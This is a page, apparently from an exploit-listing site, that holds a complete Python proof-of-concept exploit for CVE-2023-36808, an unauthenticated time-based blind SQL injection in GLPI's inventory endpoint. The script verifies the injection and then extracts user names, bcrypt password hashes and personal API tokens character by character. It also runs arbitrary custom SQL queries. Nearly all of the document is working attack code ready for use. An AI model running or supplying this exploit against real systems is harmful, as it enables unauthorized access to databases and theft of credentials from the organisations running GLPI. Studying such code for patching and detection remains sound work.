5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
CVE-2023-36808 - GLPI Unauthenticated SQL Injection
Affected versions: GLPI < 10.0.10
Endpoint: POST /front/inventory.php
Injection point: <deviceid> field in XML body

Technique: time-based blind with binary search.
           Parallel field extraction (name/password/token simultaneously)
           with a concurrency cap to prevent timing interference.
"""

import requests
import sys
import time
import argparse
import threading

# ── Tunables ──────────────────────────────────────────────────────────────────
SLEEP         = 0.5    # seconds to sleep on true condition
THRESHOLD     = 0.35   # minimum elapsed time to count as "true"
MAX_PARALLEL  = 2      # max simultaneous HTTP requests (prevents timing noise)
TIMEOUT       = 15     # per-request timeout in seconds
# ─────────────────────────────────────────────────────────────────────────────

_sem        = threading.Semaphore(MAX_PARALLEL)
_print_lock = threading.Lock()


def _post(session, url, payload):
    xml = (
        "<xml><QUERY>get_params</QUERY>"
        f"<deviceid>{payload}</deviceid>"
        "<content>fake</content></xml>"
    )
    with _sem:
        t0 = time.time()
        try:
            session.post(
                url,
                data=xml,
                headers={"Content-Type": "application/xml"},
                timeout=TIMEOUT,
            )
        except requests.exceptions.Timeout:
            return TIMEOUT   # timed out → sleep definitely fired
        return time.time() - t0


def check(session, url, condition):
    """Return True if SQL condition is true (SLEEP fired)."""
    payload = f"x' AND 1=2 UNION SELECT IF({condition},SLEEP({SLEEP}),0)-- -"
    return _post(session, url, payload) >= THRESHOLD


def extract_length(session, url, query, max_len=128):
    lo, hi = 0, max_len
    while lo < hi:
        mid = (lo + hi) // 2
        if check(session, url, f"LENGTH(({query}))>{mid}"):
            lo = mid + 1
        else:
            hi = mid
    return lo


def extract_char(session, url, query, pos):
    """Binary search for one character at position pos (1-indexed)."""
    lo, hi = 32, 127
    while lo < hi:
        mid = (lo + hi) // 2
        if check(session, url, f"ASCII(SUBSTR(({query}),{pos},1))>{mid}"):
            lo = mid + 1
        else:
            hi = mid
    return chr(lo) if lo > 32 else ""


def extract_string(session, url, query, label=""):
    """
    Extract a full string sequentially (reliable timing),
    printing progress as each character is resolved.
    """
    length = extract_length(session, url, query)
    if length == 0:
        with _print_lock:
            print(f"  {label:<18} (empty)")
        return ""

    result = []
    for i in range(1, length + 1):
        c = extract_char(session, url, query, i)
        result.append(c)
        with _print_lock:
            partial = "".join(result) + "." * (length - i)
            print(f"\r  {label:<18} {partial}", end="", flush=True)

    final = "".join(result)
    with _print_lock:
        print(f"\r  {label:<18} {final}")
    return final


def check_target(session, url):
    try:
        r = session.post(
            url,
            data="<xml><QUERY>get_params</QUERY><deviceid>test</deviceid>"
                 "<content>fake</content></xml>",
            headers={"Content-Type": "application/xml"},
            timeout=10,
        )
        return r.status_code == 200, f"HTTP {r.status_code}"
    except Exception as e:
        return False, str(e)


def verify_injection(session, url):
    return check(session, url, "1=1") and not check(session, url, "1=2")


def dump_users(session, url):
    count = int(extract_string(session, url,
                               "SELECT COUNT(*) FROM glpi_users", "user count"))
    users = []

    for i in range(count):
        print(f"\n[*] User {i + 1}/{count}")
        user = {}
        for lbl, q in [
            ("name",           f"SELECT name FROM glpi_users LIMIT {i},1"),
            ("password",       f"SELECT password FROM glpi_users LIMIT {i},1"),
            ("personal_token", f"SELECT personal_token FROM glpi_users LIMIT {i},1"),
        ]:
            user[lbl] = extract_string(session, url, q, lbl)
        users.append(user)

    return users


def main():
    global SLEEP, THRESHOLD, MAX_PARALLEL, _sem

    parser = argparse.ArgumentParser(
        description="CVE-2023-36808 - GLPI Unauthenticated SQLi exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="Example:\n  python3 exploit.py http://10.0.0.1/glpi",
    )
    parser.add_argument("target",      help="Base URL of GLPI (e.g. http://10.0.0.1/glpi)")
    parser.add_argument("--sleep",     type=float, default=SLEEP,
                        help=f"Sleep delay in seconds (default: {SLEEP})")
    parser.add_argument("--parallel",  type=int,   default=MAX_PARALLEL,
                        help=f"Max concurrent requests (default: {MAX_PARALLEL})")
    parser.add_argument("--query",     type=str,   default=None,
                        help="Run a custom SQL query and print the result")
    args = parser.parse_args()

    SLEEP        = args.sleep
    THRESHOLD    = args.sleep * 0.7
    MAX_PARALLEL = args.parallel
    _sem         = threading.Semaphore(MAX_PARALLEL)

    base = args.target.rstrip("/")
    url  = f"{base}/front/inventory.php"

    print(f"[*] CVE-2023-36808 - GLPI Unauthenticated SQLi")
    print(f"[*] Target   : {url}")
    print(f"[*] Sleep    : {SLEEP}s  Threshold: {THRESHOLD:.2f}s  Parallel: {MAX_PARALLEL}")
    print()

    session = requests.Session()

    ok, err = check_target(session, url)
    if not ok:
        print(f"[-] Cannot reach target: {err}")
        sys.exit(1)
    print("[+] Target reachable")

    print("[*] Verifying injection...")
    if not verify_injection(session, url):
        print("[-] Time-based injection not confirmed - try a higher --sleep value.")
        sys.exit(1)
    print("[+] Injection confirmed\n")

    if args.query:
        print(f"[*] Custom query: {args.query}")
        result = extract_string(session, url, args.query, label="result")
        print(f"\n[+] Result: {result}")
        return

    users = dump_users(session, url)

    print("\n" + "=" * 85)
    print(f"{'NAME':<20} {'PASSWORD (bcrypt)':<62} PERSONAL TOKEN")
    print("-" * 85)
    for u in users:
        print(f"{u.get('name',''):<20} {u.get('password','') or '(empty)':<62} "
              f"{u.get('personal_token','') or '(empty)'}")
    print("=" * 85)


if __name__ == "__main__":
    main()